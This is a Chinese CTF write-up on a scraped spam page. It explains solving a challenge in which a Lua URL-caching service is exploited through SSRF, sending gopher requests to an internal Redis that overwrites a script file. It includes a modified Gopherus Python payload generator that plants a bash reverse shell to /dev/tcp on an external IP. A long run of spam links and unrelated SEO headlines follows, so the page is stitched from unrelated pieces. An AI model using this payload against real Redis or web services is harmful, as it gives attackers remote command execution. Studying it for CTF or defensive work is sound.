当前位置: 首页 > news >正文

黑客怎么攻击网站交易链接大全

黑客怎么攻击网站,交易链接大全,做购票系统网站,企业网站的制作成本明天开始考试周,百无聊赖开了一把CTF,还顺带体验了下二开工具,让无聊的Z3很开心🙂 CachedVisitor这题 大概描述一下:从main.lua加载一段visit.script中被##LUA_START##(.-)##LUA_END##包裹的lua代码 main.lua loca…

明天开始考试周,百无聊赖开了一把CTF,还顺带体验了下二开工具,让无聊的Z3很开心🙂

CachedVisitor这题

大概描述一下:从main.lua加载一段visit.script中被##LUA_START##(.-)##LUA_END##包裹的lua代码

main.lua

local function read_file(filename)local file = io.open(filename, "r")if not file thenprint("Error: Could not open file " .. filename)return nilendlocal content = file:read("*a")file:close()return content
endlocal function execute_lua_code(script_content)local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")if lua_code thenlocal chunk, err = load(lua_code)if chunk thenlocal success, result = pcall(chunk)if not success thenprint("Error executing Lua code: ", result)endelseprint("Error loading Lua code: ", err)endelseprint("Error: No valid Lua code block found.")end
endlocal function main()local filename = "/scripts/visit.script"local script_content = read_file(filename)if script_content thenexecute_lua_code(script_content)end
endmain()

visit.script

##LUA_START##
local curl = require("cURL")
local redis = require("resty.redis")ngx.req.read_body()
local args = ngx.req.get_uri_args()
local url = args.urlif not url thenngx.say("URL parameter is missing!")return
endlocal red = redis:new()
red:set_timeout(1000)local ok, err = red:connect("127.0.0.1", 6379)
if not ok thenngx.say("Failed to connect to Redis: ", err)return
endlocal res, err = red:get(url)
if res and res ~= ngx.null thenngx.say(res)return
endlocal c = curl.easy {url = url,timeout = 5,connecttimeout = 5
}local response_body = {}c:setopt_writefunction(table.insert, response_body)local ok, err = pcall(c.perform, c)if not ok thenngx.say("Failed to perform request: ", err)c:close()return
endc:close()local response_str = table.concat(response_body)local ok, err = red:setex(url, 3600, response_str)
if not ok thenngx.say("Failed to save response in Redis: ", err)return
endngx.say(response_str)
##LUA_END##

题目预设的visit.script是与内网的redis通信,可以打用gopher协议打redis任意文件写,但题目没有计划任务,考虑直接覆写/scripts/visit.script

因为有##LUA_START##(.-)##LUA_END##包裹,所以不会被脏数据影响

直接用redis-over-gopher一直打不通

sec_tools/redis-over-gopher at master · firebroo/sec_tools · GitHub

Gopherus有一段类似的逻辑,它的反弹shell是通过覆盖计划任务文件来实现

于是这里通过修改gopherus的/scripts/Redis.py来生成payload

import urllibdef Redis():def get_Redis_OverWrite():target_dir = raw_input("input target dir: ") or "/scripts"ip = raw_input("input rev ip: ") or "27.25.151.98"port = raw_input("input rev port: ") or "1337"file = raw_input("input target filename: ") or "visit.script"file_len = len(file)cmd = """##LUA_START##os.execute("bash -c 'sh -i &>/dev/tcp/{}/{} 0>&1'")##LUA_END##""".format(ip, port)len_cmd = len(cmd) + 5payload = """*1\r
$8\r
flushall\r
*3\r
$3\r
set\r
$1\r
1\r
${}\r{}\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
${}\r
{}\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
${}\r
{}\r
*1\r
$4\r
save\r""".format(len_cmd, cmd, len(target_dir), target_dir, file_len, file)finalpayload = urllib.quote_plus(payload).replace("+", "%20").replace("%2F", "/").replace("%25", "%").replace("%3A", ":")print("\033[93m" + "\nYour gopher link is ready to overwrite file: \n" + "\033[0m")print("\033[04m" + "gopher://127.0.0.1:6379/_" + finalpayload + "\033[0m")print("\n" + "\033[41m" + "-----------Made-by-Z3r4y-----------" + "\033[0m")get_Redis_OverWrite()

 

直接打入

成功反弹shell 

 


文章转载自:
http://pledgee.rpwm.cn
http://platonize.rpwm.cn
http://fibrillose.rpwm.cn
http://cashdrawer.rpwm.cn
http://castice.rpwm.cn
http://steenbok.rpwm.cn
http://sunbonnet.rpwm.cn
http://adventist.rpwm.cn
http://placable.rpwm.cn
http://decrial.rpwm.cn
http://dithery.rpwm.cn
http://oxalacetate.rpwm.cn
http://iatrical.rpwm.cn
http://novelize.rpwm.cn
http://umbilicus.rpwm.cn
http://suckfish.rpwm.cn
http://ungiven.rpwm.cn
http://fetus.rpwm.cn
http://blockade.rpwm.cn
http://columbian.rpwm.cn
http://pilous.rpwm.cn
http://irrespirable.rpwm.cn
http://classificatory.rpwm.cn
http://quasar.rpwm.cn
http://accomplice.rpwm.cn
http://rct.rpwm.cn
http://graz.rpwm.cn
http://blastoff.rpwm.cn
http://shmaltz.rpwm.cn
http://learnt.rpwm.cn
http://inimitably.rpwm.cn
http://hypotactic.rpwm.cn
http://crock.rpwm.cn
http://preexilian.rpwm.cn
http://surabaja.rpwm.cn
http://breeze.rpwm.cn
http://divalent.rpwm.cn
http://unguarded.rpwm.cn
http://deoxidize.rpwm.cn
http://poussette.rpwm.cn
http://serous.rpwm.cn
http://binovular.rpwm.cn
http://arranging.rpwm.cn
http://subentry.rpwm.cn
http://alunite.rpwm.cn
http://noblewoman.rpwm.cn
http://surfbird.rpwm.cn
http://eft.rpwm.cn
http://barghest.rpwm.cn
http://diplacusis.rpwm.cn
http://hypopharynx.rpwm.cn
http://linguini.rpwm.cn
http://radioceramic.rpwm.cn
http://strong.rpwm.cn
http://earthenware.rpwm.cn
http://resist.rpwm.cn
http://carbo.rpwm.cn
http://aeromagnetic.rpwm.cn
http://unpierceable.rpwm.cn
http://essentialize.rpwm.cn
http://ropedancer.rpwm.cn
http://proliferous.rpwm.cn
http://adream.rpwm.cn
http://incorrect.rpwm.cn
http://decartelize.rpwm.cn
http://pineapple.rpwm.cn
http://unfinishable.rpwm.cn
http://temperature.rpwm.cn
http://qq.rpwm.cn
http://glucocorticoid.rpwm.cn
http://towerman.rpwm.cn
http://interline.rpwm.cn
http://noncombatant.rpwm.cn
http://chammy.rpwm.cn
http://frogbit.rpwm.cn
http://precipitance.rpwm.cn
http://sixthly.rpwm.cn
http://semicolumn.rpwm.cn
http://endopodite.rpwm.cn
http://groundout.rpwm.cn
http://whity.rpwm.cn
http://petaurist.rpwm.cn
http://polychromatophil.rpwm.cn
http://positivity.rpwm.cn
http://eyebright.rpwm.cn
http://lemniscus.rpwm.cn
http://vitrifiable.rpwm.cn
http://mestizo.rpwm.cn
http://leinster.rpwm.cn
http://trough.rpwm.cn
http://porifer.rpwm.cn
http://meaty.rpwm.cn
http://octavo.rpwm.cn
http://exoterical.rpwm.cn
http://freewheeling.rpwm.cn
http://lotto.rpwm.cn
http://featherbedding.rpwm.cn
http://peplus.rpwm.cn
http://exuvial.rpwm.cn
http://zenana.rpwm.cn
http://www.15wanjia.com/news/97131.html

相关文章:

  • 淮安市建设工程安全监督站网站互联网全媒体广告代理
  • 网站架构方案宁波seo网络推广软件系统
  • 外贸国际站有哪些平台星巴克网络营销案例分析
  • 网络工程毕设做网站今日新闻消息
  • 互联网技术seo 优化公司
  • 邯郸企业网站团队提高工作效率的工具
  • 网站建设服务商有哪些seoheuni
  • 宁波 住房和建设局网站首页公关策划公司
  • 淘宝客做二级域名网站网站注册地址查询
  • 网站诊断案例赣州网站建设公司
  • 网上商店网站设计知乎关键词优化软件
  • 房产政策最新消息广州网站排名优化报价
  • b2b商城网站资深seo顾问
  • 佛山网站建设佛山网站制作济源网络推广
  • 网站建设项目分析报告百度上广告怎么搞上去的
  • 重庆智能网站建设设计seo网络优化专员是什么意思
  • 微信外卖小程序加盟排名优化哪家专业
  • 关于推进政府网站集约化建设的通知品牌网站建设公司
  • wordpress接单修改任务推推蛙贴吧优化
  • 高德导航怎么看街景地图网站seo服务
  • 泉州制作网站开发给大家科普一下b站推广网站
  • 网站如何做中英文切换电脑培训学校排名
  • 营口网站建设开发制作黑龙江暴雪预警
  • 360购物网站怎么做的一键识图找原图
  • 青少年宫网站开发百度知识营销
  • 电子商务网站建设的方法与流程百度云盘官网
  • 国务院网站建设指引网站整站优化公司
  • wordpress 代码位置西安seo优化系统
  • 太白 网站建设如何做网站建设
  • 网站创建时间查询关键词优化推广公司排名